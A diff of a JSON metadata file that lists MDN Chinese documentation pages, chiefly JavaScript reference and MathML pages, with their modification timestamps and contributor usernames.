"Web/JavaScript/Reference/Global_Objects/Date/valueOf": { - "modified": "2020-10-15T21:28:12.574Z", + "Web/JavaScript/Reference/Operators/super": { + "modified": "2020-10-15T21:34:14.337Z", "contributors": [ - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei" + "jackyqin", + "t.ccydlj", + "woshiqiang1", + "hikigaya58", + "KennyWho", + "Yayure", + "wangmiJM", + "zhangchen", + "xgqfrms-GitHub", + "lvjs", + "saintwinkle" ] }, - "Web/JavaScript/Reference/Global_Objects/Error": { - "modified": "2020-10-15T21:21:49.758Z", + "Web/JavaScript/Reference/Operators/this": { + "modified": "2020-10-15T21:24:16.968Z", "contributors": [ - "GuYue", - "IreneByron", + "Clarkkkk", + "imbant", + "laampui", + "ldsyzjb", + "aaaxiu", + "frankchia", + "usernameisMan", + "Xuemuyang", + "luoxzhg", + "Akiq2016", + "secretmadonna", "zhangchen", - "ZhishengZhao", + "jasonwithjs", + "rollinhup", + "anderson_liu", + "KngZhi", "xgqfrms-GitHub", - "ngtmuzi", - "calidion", + "JJPandari", + "07akioni", + "Cmen", + "bodii", + "Ende93", + "eric183", + "floraLam", "teoli", - "yenshen", - "Maple-Jan", - "evilpie" + "haodut", + "zhanglun", + "jaka", + "JinZheng", + "DaoG" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/Stack": { - "modified": "2020-10-15T22:05:59.371Z", + "Web/JavaScript/Reference/Operators/typeof": { + "modified": "2020-11-25T06:03:35.454Z", "contributors": [ - "Zoeooo", - "gentlelynn" + "zhuangyin", + "AidanDai", + "kidonng", + "levo2165", + "zhangchen", + "huangtt", + "Crazycheng", + "DarkYeahs", + "Bitzo", + "bengfor", + "xgqfrms", + "zachary05", + "auver", + "yufeng", + "AlexChao", + "teoli", + "ziyunfei", + "ethertank" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/columnNumber": { - "modified": "2019-04-02T14:34:45.679Z", + "Web/JavaScript/Reference/Operators/void": { + "modified": "2020-10-15T21:30:34.673Z", "contributors": [ - "teoli", - "buckarooch" + "seiry", + "Yidada", + "zhangchen", + "xycd", + "xgqfrms-GitHub", + "Ende93", + "lunix01", + "yenshen", + "ziyunfei", + "AlexChao", + "SphinxKnight", + "parano" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/fileName": { - "modified": "2019-04-02T14:35:07.280Z", + "Web/JavaScript/Reference/Operators/yield": { + "modified": "2020-10-15T21:26:10.731Z", "contributors": [ + "RedemptioM", + "Yongest", + "Usey95", + "zhangchen", + "lfy55", + "xgqfrms-GitHub", + "AlexChao", + "mountainmoon", "teoli", - "buckarooch" + "lpy" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/lineNumber": { - "modified": "2020-10-15T22:00:20.126Z", + "Web/JavaScript/Reference/Operators/yield*": { + "modified": "2020-10-15T21:32:40.952Z", "contributors": [ - "WayneCui" + "zhangchen", + "xgqfrms-GitHub", + "ccn1010", + "ziyunfei", + "Liyunsheng" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/message": { - "modified": "2019-04-02T14:35:10.524Z", + "Web/JavaScript/Reference/Statements": { + "modified": "2020-11-19T11:54:21.852Z", "contributors": [ + "xgqfrms", + "wwj402", + "RainSlide", + "victor0801x", "yenshen", - "AlexChao" + "Ende93", + "webery", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/name": { - "modified": "2019-07-05T00:02:19.372Z", + "Web/JavaScript/Reference/Statements/Empty": { + "modified": "2020-10-15T21:32:25.866Z", "contributors": [ - "yenshen", - "teoli", - "ziyunfei" + "zhangchen", + "Hugh", + "git123hub", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/prototype": { - "modified": "2019-04-02T14:33:04.306Z", + "Web/JavaScript/Reference/Statements/async_function": { + "modified": "2020-11-26T06:15:48.712Z", "contributors": [ - "ngtmuzi", - "shajiquan" + "superchow", + "Neo42", + "zhangxingeng", + "Irisa", + "brizer", + "icethawless", + "rockan007", + "AppleTenlp", + "gqbre", + "elkfn", + "Hew007", + "Ende93", + "YKG", + "42", + "murphywuwu", + "ntnyq", + "jaredhan418", + "TriStone", + "lmislm", + "toyflivver", + "dudueasy", + "NiroDu", + "awmleer", + "mysmlz", + "Bill0412", + "Jessy.D.", + "zxsunrise", + "pujiaxun", + "biggersun", + "Jiang-Xuan", + "pot-code", + "ofatbird", + "shhider", + "zhangchen", + "xgqfrms-GitHub", + "_da", + "Katherina-Miao" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/toSource": { - "modified": "2020-10-15T22:04:46.786Z", + "Web/JavaScript/Reference/Statements/block": { + "modified": "2020-11-26T06:25:49.649Z", "contributors": [ - "zxsunrise", - "yuchaoWu" + "cikelichu", + "daxiazilong", + "ywjco", + "zhangchen", + "icepro", + "Canaan", + "frankfang1990", + "Cattla", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/toString": { - "modified": "2019-04-02T14:43:23.068Z", + "Web/JavaScript/Reference/Statements/break": { + "modified": "2020-11-26T22:14:31.749Z", "contributors": [ + "superchow", + "zhangchen", + "git123hub", + "Poisonloc", "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/EvalError": { - "modified": "2020-10-15T21:15:06.730Z", + "Web/JavaScript/Reference/Statements/class": { + "modified": "2020-10-15T21:40:52.749Z", "contributors": [ - "Tao-Quixote", - "Debugger-D", - "buckarooch", - "slientomorrr", - "teoli", - "Mickeyboy" + "zhangchen", + "LiXin", + "xgqfrms-GitHub", + "AimLuo", + "makebanana", + "ryanlid", + "kdex", + "lixuguang", + "ouonet", + "MrLyp", + "jooyoon", + "webery" ] }, - "Web/JavaScript/Reference/Global_Objects/EvalError/prototype": { - "modified": "2020-10-15T21:59:36.134Z", + "Web/JavaScript/Reference/Statements/const": { + "modified": "2020-11-20T09:29:05.867Z", "contributors": [ - "hwj" + "zhuangyin", + "Snailight", + "niices", + "RainSlide", + "Jat", + "zhangchen", + "winjeysong", + "myl0204", + "xgqfrms-GitHub", + "shifengchen", + "Go7hic", + "zhe13", + "webery", + "lunix01", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/FinalizationRegistry": { - "modified": "2020-10-15T22:33:55.419Z", + "Web/JavaScript/Reference/Statements/continue": { + "modified": "2020-10-15T21:22:29.579Z", "contributors": [ - "LydiaYuan", - "xgqfrms" + "zhangchen", + "tiansh", + "teoli", + "sunorry" ] }, - "Web/JavaScript/Reference/Global_Objects/Float32Array": { - "modified": "2019-03-23T22:55:04.546Z", + "Web/JavaScript/Reference/Statements/debugger": { + "modified": "2020-10-15T21:19:13.851Z", "contributors": [ - "lsvih", - "luojia", - "AlixWang" + "zhangchen", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Float64Array": { - "modified": "2019-03-23T22:27:51.833Z", + "Web/JavaScript/Reference/Statements/do...while": { + "modified": "2020-10-15T21:32:25.936Z", "contributors": [ - "lsvih" + "zhangchen", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function": { - "modified": "2020-10-15T21:07:16.185Z", + "Web/JavaScript/Reference/Statements/export": { + "modified": "2020-10-31T21:18:02.310Z", "contributors": [ - "johnao", + "wenxiayili", + "panzhh", + "brizer", + "Casseil-1996", + "zhouxyy", + "symant233", + "Asuka109", + "hanalice", + "narutojian", + "ThisIszas", + "GentleGong", + "woniuxingdong", + "TeabugCC", + "yinpeng123", "RainSlide", - "Bjkb", - "xuyewen288", - "ywjco", - "Jiang-Xuan", + "xgqfrms", + "wossig", + "zarvin", + "TimmyKingFree", + "zhangchen", "xgqfrms-GitHub", - "Ende93", - "webery", - "FredWe", - "teoli", - "chbdetta", - "chyee", - "ziyunfei", - "iwo" + "Jiang-Xuan", + "Suixinlei", + "nolanlee", + "sartrey", + "jianyi1995" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/apply": { - "modified": "2020-10-15T21:21:35.017Z", + "Web/JavaScript/Reference/Statements/for": { + "modified": "2020-10-15T21:38:44.431Z", "contributors": [ - "leafwingstar", - "熊英明", - "zhanjunhao", - "wisecamle", + "RainSlide", + "yy7054wyq5", "zhangchen", - "Plortinus", - "MoYuLing", - "tangj1206", - "Humyang", - "Leivy", - "xgqfrms-GitHub", - "Ende93", - "JJPandari", - "hbkdsm", - "paddingme", - "onetree", - "AlexChao", - "ziyunfei", - "Nebu1aX", - "teoli", - "endlesswind" + "IShinji", + "yenshen", + "oscar1980", + "gaigeshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/arguments": { - "modified": "2019-08-06T06:43:10.243Z", + "Web/JavaScript/Reference/Statements/for-await...of": { + "modified": "2020-11-19T13:54:59.528Z", "contributors": [ - "omz-one", - "ziyunfei", - "WangXiZhu", - "teoli", - "AlexChao" + "xgqfrms", + "jingkaimori", + "AozakiOrenji", + "Ende93", + "SphinxKnight", + "mrdulin", + "WangXiaoyu", + "thereAnana" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/bind": { - "modified": "2020-10-15T21:07:21.219Z", + "Web/JavaScript/Reference/Statements/for...in": { + "modified": "2020-10-15T21:07:57.911Z", "contributors": [ - "xx1124961758", - "oxyg3n", - "lzfee0227", - "FeiJian984", - "TMM-eng", - "C2015", - "RainSlide", - "StuPig", - "williantian", - "hansnow", - "bananafishM", - "z1yuan", - "Arichy", - "Maiko", - "wisecamle", + "lmislm", + "毛毛_", + "name-dingding", + "raoenhui", + "412799755", + "Hourann", + "XiangHongAi", + "jiladahe1997", "zhangchen", - "zjffun", - "AllanJian", - "kuleyu", - "LiXin", - "baidufe.hc", - "yuwanlin", - "yangyh1911", - "gwiron", - "lclscofield", + "WPH2017", "xgqfrms-GitHub", - "zhengkai2001", - "Katherina-Miao", - "jyjsjd", - "Jiavan", - "riversYeHaha", - "xie-qianyue", - "sensui7", + "jdk137", + "yatace", + "helloguangxue", "Ende93", - "manfredHu", - "cqzhao", - "prawn", - "iplus26", + "wonyun", + "denghongcai", "teoli", - "paddingme", - "TooBug", - "SDLyu", - "bin", - "ziyunfei", - "stylechen" + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/call": { - "modified": "2020-10-15T21:07:14.576Z", + "Web/JavaScript/Reference/Statements/for...of": { + "modified": "2020-10-15T21:07:54.800Z", "contributors": [ - "Blackie", - "dcyu007", - "zzykillu", - "RainSlide", - "Maiko", - "Sally-he", - "whidy", + "sendudu", + "mouming", + "houzp", + "zgj233", + "osramywj", + "Joker09", "Jiang-Xuan", - "fanerge", - "voidzhou", + "charliex2", + "zhangchen", + "killsos", "xgqfrms-GitHub", - "micheal-death", - "windluo", - "azhi09", - "ChemiCoder", + "zhuangyin", + "yihuan", + "yanlee26", + "dingxu", + "lsvih", + "imnodb", "Ende93", - "teoli", - "AlexChao", - "ziyunfei" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/caller": { - "modified": "2019-08-06T03:21:58.429Z", - "contributors": [ + "iamchenxin", "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/displayName": { - "modified": "2019-05-15T23:11:48.055Z", + "Web/JavaScript/Reference/Statements/function": { + "modified": "2020-12-02T02:36:07.313Z", "contributors": [ - "liuchuzhang", - "lilng", + "zhuangyin", + "frankfang1990", + "maicss", + "xgqfrms-GitHub", + "helloguangxue", + "yenshen", "teoli", - "minstrel1977", - "webery" + "ielgnaw" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/length": { - "modified": "2020-10-15T21:02:07.304Z", + "Web/JavaScript/Reference/Statements/function*": { + "modified": "2020-10-15T21:27:24.673Z", "contributors": [ - "zhangchen", - "gqbre", - "chudu", - "Ende93", - "guosimin", - "yenshen", - "teoli", + "HCSkatana", + "kingsley2036", + "RoXoM", + "Jiang-Xuan", + "ywjco", + "picc-lu", + "pot-code", + "righttoe", + "kdex", + "xgqfrms-GitHub", + "ShupingLiu", + "lunix01", + "simongfxu", "ziyunfei", - "tiansh" + "fskuok", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/name": { - "modified": "2020-10-15T21:02:08.194Z", + "Web/JavaScript/Reference/Statements/if...else": { + "modified": "2020-10-15T21:32:24.204Z", "contributors": [ + "maoyumaoxun", "zhangchen", - "inickel", - "minstrel1977", - "xgqfrms-GitHub", - "Marco_dev", - "teoli", - "ziyunfei" + "jjc", + "TimmyKingFree", + "Hugh", + "connie77", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/prototype": { - "modified": "2019-09-11T09:25:06.080Z", + "Web/JavaScript/Reference/Statements/import": { + "modified": "2020-10-15T21:36:46.597Z", "contributors": [ + "SunnyDayLily", + "laampui", + "brizer", + "TeabugCC", + "RainSlide", + "daihaoxin", + "jason-grimm", + "jjyyxx", "Ende93", - "FrankElean", - "xiaowtz", - "DevinHe", - "teoli", + "zhangchen", + "xgqfrms-GitHub", + "xiaomingming", + "Jiang-Xuan", + "houbx", + "taokd", + "Skyang", + "larntin", + "bambooom", "ziyunfei", - "Oatn" + "wengeezhang", + "sartrey", + "WangZishi" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/toSource": { - "modified": "2019-03-23T23:36:01.366Z", + "Web/JavaScript/Reference/Statements/import.meta": { + "modified": "2020-10-15T22:07:59.455Z", "contributors": [ - "teoli", - "ziyunfei" + "gitHber", + "JonathanLee-LX" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/toString": { - "modified": "2020-10-15T21:21:30.188Z", + "Web/JavaScript/Reference/Statements/label": { + "modified": "2020-10-15T21:31:44.464Z", "contributors": [ + "xgqfrms", + "RainSlide", "zhangchen", - "Maiko", - "xmoyKing", - "laampui", - "AlexChao", - "ziyunfei", - "teoli" + "delkaka", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator": { - "modified": "2020-10-15T21:34:46.129Z", + "Web/JavaScript/Reference/Statements/let": { + "modified": "2020-10-15T21:07:01.000Z", "contributors": [ + "Snailight", + "卡尔维斯特", + "JameMoriarty", + "yangnaiyue", + "Zhang-Junzhi", + "wongxiao", "Ende93", - "xgqfrms", - "xuxiaokang", - "kdex", + "jzz2649", + "SphinxKnight", + "Lan1967", + "Freezer", + "alexzaolin", + "JunjieCai", + "ilyp", + "ssttii", + "jcguang", + "mathxlee", + "ywjco", + "zhangchen", + "yingying", + "frankfang1990", + "swfbarhr", "xgqfrms-GitHub", - "Yelmor", - "lanezhao", + "mr.code", + "artificial", + "leafdog", + "yangzongjie", + "ZhiRui", + "ZhanghaoH", + "ChuckZhang", + "Go7hic", + "highsea", "panhezeng", + "kemchenj", + "lunix01", + "dondevi", + "hang", + "Rococolate", + "ouonet", "ziyunfei", - "Javascipt", - "lukywong", - "jpmedley" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator/next": { - "modified": "2019-08-17T06:59:14.528Z", - "contributors": [ - "Yayure", - "miyoosan", - "ywjco", - "Ende93", - "lukywong", - "jcouyang" + "WangZishi", + "Junjie_Wei", + "teoli", + "nightire", + "ted423" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator/return": { - "modified": "2020-10-15T21:37:31.281Z", + "Web/JavaScript/Reference/Statements/return": { + "modified": "2020-10-15T21:32:16.829Z", "contributors": [ - "SevenDreamYang", + "xianshenglu", + "zhangchen", "Ende93", - "ljxy", - "lukywong" + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator/throw": { - "modified": "2019-08-12T05:52:42.406Z", + "Web/JavaScript/Reference/Statements/switch": { + "modified": "2020-10-15T21:31:42.513Z", "contributors": [ - "Ende93", - "lukywong" + "rianma", + "jfw10973", + "RainSlide", + "ywjco", + "zhangchen", + "PaperFlu", + "FAOfao931013", + "xgqfrms-GitHub", + "AlexChao", + "xin" ] }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { - "modified": "2020-10-15T21:39:23.129Z", + "Web/JavaScript/Reference/Statements/throw": { + "modified": "2020-10-15T21:17:26.144Z", "contributors": [ - "fscholz", + "koalaxiaot", "zhangchen", - "lanezhao", - "webery", - "Cendy" + "xgqfrms-GitHub", + "fanpaa", + "soulxy", + "onetwogoo", + "iFish", + "teoli", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype": { - "modified": "2020-10-15T21:40:51.679Z", + "Web/JavaScript/Reference/Statements/try...catch": { + "modified": "2020-10-15T21:35:35.752Z", "contributors": [ - "fscholz", - "shinexyt", "zhangchen", - "webery" + "Lan1967", + "cddsgtc", + "Xheldon", + "gooqiao", + "llwanghong", + "YouHeng", + "xgqfrms-GitHub", + "Hugh", + "helloguangxue", + "TUKOMI", + "ziyunfei", + "licop" ] }, - "Web/JavaScript/Reference/Global_Objects/Infinity": { - "modified": "2020-10-19T00:56:56.707Z", + "Web/JavaScript/Reference/Statements/var": { + "modified": "2020-10-15T21:29:22.023Z", "contributors": [ - "DarkWing", - "lizhongzhen11", - "wallena3", - "Jiang-Xuan", - "yenshen", - "tiansh", + "FloydTsai", + "RainSlide", + "zhangchen", + "AymaxLi", + "xgqfrms-GitHub", + "The-End-Hero", + "loddit", + "lunix01", + "AlexChao", "SphinxKnight", - "AlexChao" + "Fify" ] }, - "Web/JavaScript/Reference/Global_Objects/Int16Array": { - "modified": "2019-03-23T22:35:54.313Z", + "Web/JavaScript/Reference/Statements/while": { + "modified": "2020-10-15T21:31:43.063Z", "contributors": [ - "kdex", - "zilong-thu" + "RainSlide", + "zhangchen", + "ziyunfei", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Int32Array": { - "modified": "2019-06-02T03:31:50.287Z", + "Web/JavaScript/Reference/Statements/with": { + "modified": "2020-10-15T21:29:35.662Z", "contributors": [ - "wuqinqiang", - "xclhs", - "langjun" + "SadWood", + "yangtoude", + "zhangchen", + "abc45628", + "xgqfrms-GitHub", + "kiling", + "wizardforcel", + "YFM-getA", + "jonkee", + "SphinxKnight", + "front" ] }, - "Web/JavaScript/Reference/Global_Objects/Int8Array": { - "modified": "2019-03-18T20:48:04.246Z", + "Web/JavaScript/Reference/Strict_mode": { + "modified": "2020-03-12T19:35:37.779Z", "contributors": [ + "xrkffgg", + "gaoyia", + "qiufeihong2018", + "Opelar", + "hmsz", + "amandameng", + "zhangchen", + "recursion", + "JuFoFu", + "qiu_han", + "tsejx", + "righttoe", "xgqfrms-GitHub", - "ObooChin" + "holynewbie", + "nanflower", + "weimengxi", + "xuzicn", + "Qcui", + "Toweave", + "zilong-thu", + "anitawho", + "laoxubuer", + "knightf", + "Jack.Works", + "Dijason", + "ziyunfei", + "yaway", + "iahu", + "mountainmoon", + "Frantic1048", + "Darrel.Hsu", + "ReyCG", + "teoli", + "endlesswind" ] }, - "Web/JavaScript/Reference/Global_Objects/InternalError": { - "modified": "2019-03-23T22:32:14.689Z", + "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { + "modified": "2020-03-12T19:38:14.564Z", "contributors": [ - "teoli", - "maicss", - "Jack-Q" + "vincentdd", + "weimengxi", + "gavinjs", + "zjjott", + "ziyunfei", + "yenshen", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl": { - "modified": "2020-10-15T21:41:37.430Z", + "Web/JavaScript/Reference/Trailing_commas": { + "modified": "2020-10-15T21:52:12.920Z", "contributors": [ "RainSlide", "zhangchen", - "teabyii" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator": { - "modified": "2020-10-15T21:52:01.061Z", - "contributors": [ - "fscholz", - "hiyangguo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { - "modified": "2020-04-21T09:01:11.408Z", - "contributors": [ - "fscholz", - "TianchiLi", - "zxsunrise", - "liyongleihf2006" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype": { - "modified": "2020-04-21T09:01:11.304Z", + "Web/JavaScript/Shells": { + "modified": "2020-09-04T03:12:55.502Z", "contributors": [ - "fscholz", - "liyongleihf2006" + "a1157116165", + "StorytellerF", + "pluwen", + "sonymoon", + "pelligit", + "maicss" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames": { - "modified": "2020-04-21T09:19:23.285Z", + "Web/JavaScript/Typed_arrays": { + "modified": "2020-10-15T21:26:17.964Z", "contributors": [ - "fscholz", - "hulucode" + "norton-lee", + "ThomasWhyne", + "nkliyc", + "AngeloZ", + "zhangchen", + "wblovezqy", + "jing-y", + "lvsiyuan", + "xgqfrms-GitHub", + "JoyZF", + "jianzhou", + "lon", + "ngtmuzi", + "Amme", + "troywith77", + "ipy", + "teoli", + "zekai.zheng" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/ListFormat": { - "modified": "2020-10-15T22:16:21.221Z", + "Web/Manifest": { + "modified": "2019-10-29T05:08:14.882Z", "contributors": [ - "fscholz", - "Spengh" + "7NZ", + "mySoul", + "flyingsouthwind", + "varcat", + "_da", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/Locale": { - "modified": "2020-10-15T22:19:16.260Z", + "Web/Manifest/background_color": { + "modified": "2020-10-15T22:31:53.672Z", "contributors": [ - "weibangtuo", - "fscholz", - "shuvidora", - "lovedebug" + "wobuhuisuanmin", + "wr20060926" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat": { - "modified": "2020-10-15T21:50:51.219Z", + "Web/MathML": { + "modified": "2020-10-15T21:25:04.339Z", "contributors": [ - "fscholz", - "RoXoM", - "Sivan", - "lisniuse", - "liyongleihf2006" + "RainSlide", + "Anonymous86x69ashe", + "pluwen", + "linmx0130", + "lunix01", + "fred.wang", + "fscholz" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format": { - "modified": "2020-10-15T22:04:10.022Z", + "Web/MathML/Attribute": { + "modified": "2019-03-23T22:52:18.616Z", "contributors": [ - "fscholz", - "zxsunrise", - "Evansy" + "luneice", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/PluralRules": { - "modified": "2020-10-15T22:05:26.837Z", + "Web/MathML/Authoring": { + "modified": "2019-10-27T00:08:11.337Z", "contributors": [ - "fscholz", - "JimmyBenKlieve", - "DeanNode" + "RainSlide", + "fanxiaojie", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat": { - "modified": "2020-10-15T22:21:27.890Z", + "Web/MathML/Element": { + "modified": "2020-03-31T12:28:08.721Z", "contributors": [ - "SandBoat", - "Mongkii", - "fscholz", - "AchooLuv", - "xrr2016", - "SphinxKnight", - "qiufeihong2018" + "RainSlide", + "qson", + "ziyunfei", + "a.stone" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales": { - "modified": "2020-10-15T22:09:15.623Z", + "Web/MathML/Element/maction": { + "modified": "2019-03-18T21:42:16.631Z", "contributors": [ - "pea3nut" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON": { - "modified": "2020-10-15T21:06:55.773Z", + "Web/MathML/Element/math": { + "modified": "2019-03-23T22:48:38.735Z", "contributors": [ - "recursion", - "renfufei", - "codevvvv9", - "zhangchen", - "luojia", - "righttoe", - "xgqfrms-GitHub", - "Freed", - "huguangju", - "liyongleihf2006", - "Ende93", - "yenshen", - "teoli", - "Yaty", - "fscholz", - "AlexChao", - "Wladimir_Palant", - "ziyunfei" + "linmx0130" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON/parse": { - "modified": "2020-10-15T21:28:05.508Z", + "Web/MathML/Element/mroot": { + "modified": "2019-03-18T21:42:14.503Z", "contributors": [ - "hikigaya58", - "RainSlide", - "renfufei", - "zhuangyin", - "mySoul", - "rambo-panda", - "zhaoqize", - "DejectedBird", - "ZDeborah", - "xgqfrms-GitHub", - "zhoupenghui", - "frankfang1990", - "LiYang982", - "sszsfan", - "xgqfrms", - "TomIsion", - "qiao4", - "Ende93", - "yenshen", - "Yaty", - "ziyunfei", - "AlexChao" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON/stringify": { - "modified": "2020-10-27T03:21:45.041Z", + "Web/MathML/Element/mrow": { + "modified": "2020-10-15T22:25:33.815Z", "contributors": [ - "anan824", - "JaCoder", - "zhangchen", - "Ocean-ZH", - "huxinsen", - "fwmh", - "szengtal", - "superfighter", - "zhaoqize", - "Demo_Hu", - "xgqfrms-GitHub", - "xiuzhihuan", - "leouncle", - "zhoupenghui", - "LiYang982", - "zachary05", - "ziyunfei", - "byr-gdp", - "paddingme", - "AlexChao", - "teoli", - "Lovesueee" + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map": { - "modified": "2020-10-15T21:06:49.701Z", + "Web/MathML/Element/mspace": { + "modified": "2019-03-18T21:42:15.461Z", "contributors": [ - "laampui", - "wallena3", - "KaySama", - "Turner", - "YaoZeyuan", - "Mr_Big", - "maoyumaoxun", - "hong007", - "zhangchen", - "Amio", - "tsejx", - "thegatheringstorm", - "buckarooch", - "xgqfrms-GitHub", - "kameii", - "Cattla", - "huguangju", - "YangyuhaoBit", - "luneice", - "git123hub", - "Ende93", - "sqqihao", - "fskuok", - "teoli", - "ziyunfei", - "zhangyaochun1987" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@iterator": { - "modified": "2020-10-15T21:56:27.573Z", + "Web/MathML/Element/msqrt": { + "modified": "2019-03-18T21:42:14.783Z", "contributors": [ - "Ende93", - "DuLinRain" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@species": { - "modified": "2020-10-15T21:57:35.566Z", + "Web/MathML/Element/msub": { + "modified": "2019-03-18T21:42:15.091Z", "contributors": [ - "vanishcode" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag": { - "modified": "2019-04-05T14:04:42.613Z", + "Web/MathML/Element/msubsup": { + "modified": "2020-10-15T22:28:42.346Z", "contributors": [ - "DuLinRain" + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/Map": { - "modified": "2020-10-15T22:29:02.199Z", + "Web/MathML/Element/msup": { + "modified": "2020-10-15T22:01:09.939Z", "contributors": [ - "laampui" + "RainSlide", + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/clear": { - "modified": "2020-10-15T21:41:32.043Z", + "Web/MathML/Examples": { + "modified": "2019-10-26T23:25:14.524Z", "contributors": [ - "zhangchen", - "SphinxKnight", - "HsuanLee", - "youth7" + "RainSlide", + "Anonymous86x69ashe", + "Seattle", + "abc3660170", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/delete": { - "modified": "2020-10-15T21:46:05.144Z", + "Web/MathML/Examples/Deriving_the_Quadratic_Formula": { + "modified": "2019-10-27T00:00:27.008Z", "contributors": [ - "zhangchen", - "royl8", - "Hushabyme", - "webery" + "RainSlide", + "luneice" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/entries": { - "modified": "2020-10-15T21:39:28.129Z", + "Web/MathML/Examples/MathML_Pythagorean_Theorem": { + "modified": "2019-10-26T23:28:44.470Z", "contributors": [ - "Louis-7", - "SphinxKnight", - "ngtmuzi", - "HsuanLee", - "Zhiyu_Wang" + "RainSlide", + "Anonymous86x69ashe", + "Seattle" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/forEach": { - "modified": "2020-10-15T21:39:26.824Z", + "Web/Media/Formats": { + "modified": "2019-10-28T06:26:59.997Z", "contributors": [ - "Mr_kaze", - "niices", - "liu7654", - "SimonYang", - "SphinxKnight", - "ziyunfei", - "Zhiyu_Wang" + "jswisher" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/get": { - "modified": "2020-10-15T21:39:27.794Z", + "Web/Media/Formats/Containers": { + "modified": "2020-11-01T10:00:22.590Z", "contributors": [ - "RainSlide", - "SphinxKnight", - "ziyunfei", - "Zhiyu_Wang" + "happyxxj" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/has": { - "modified": "2019-10-04T10:03:31.075Z", + "Web/Media/Formats/Image_types": { + "modified": "2020-10-28T06:58:07.754Z", "contributors": [ - "Cyberhan123", - "SphinxKnight", - "DirtyPP" + "hylashyla", + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/keys": { - "modified": "2020-10-15T21:48:38.432Z", + "Web/Performance": { + "modified": "2020-07-21T05:10:44.104Z", "contributors": [ - "Davidyanlong", + "lvbaiying", + "FE_pangxing", + "biqing", "RainSlide", - "zachary05" + "maoyougan", + "sqd123", + "chrisdavidmills", + "iceytea" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/prototype": { - "modified": "2019-12-28T23:13:19.788Z", + "Web/Performance/CSS_JavaScript_animation_performance": { + "modified": "2020-07-29T00:36:34.087Z", "contributors": [ - "wallena3", - "YaoZeyuan", - "kameii", - "chaosdog", - "webery" + "deping_chen", + "sunfeel", + "liangbus" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/set": { - "modified": "2020-10-15T21:48:37.587Z", + "Web/Performance/Critical_rendering_path": { + "modified": "2020-10-13T09:41:03.369Z", "contributors": [ - "CascEco", - "ts0307", - "RainSlide", - "MaZheng", - "Hushabyme", - "zachary05" + "xgqfrms", + "HouGiser", + "HuiyingShen96", + "chafel" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/size": { - "modified": "2019-09-06T04:35:48.843Z", + "Web/Performance/Lazy_loading": { + "modified": "2020-10-13T09:10:51.078Z", "contributors": [ - "boyue", - "wenshin" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/values": { - "modified": "2019-10-04T09:57:38.527Z", + "Web/Performance/Optimizing_startup_performance": { + "modified": 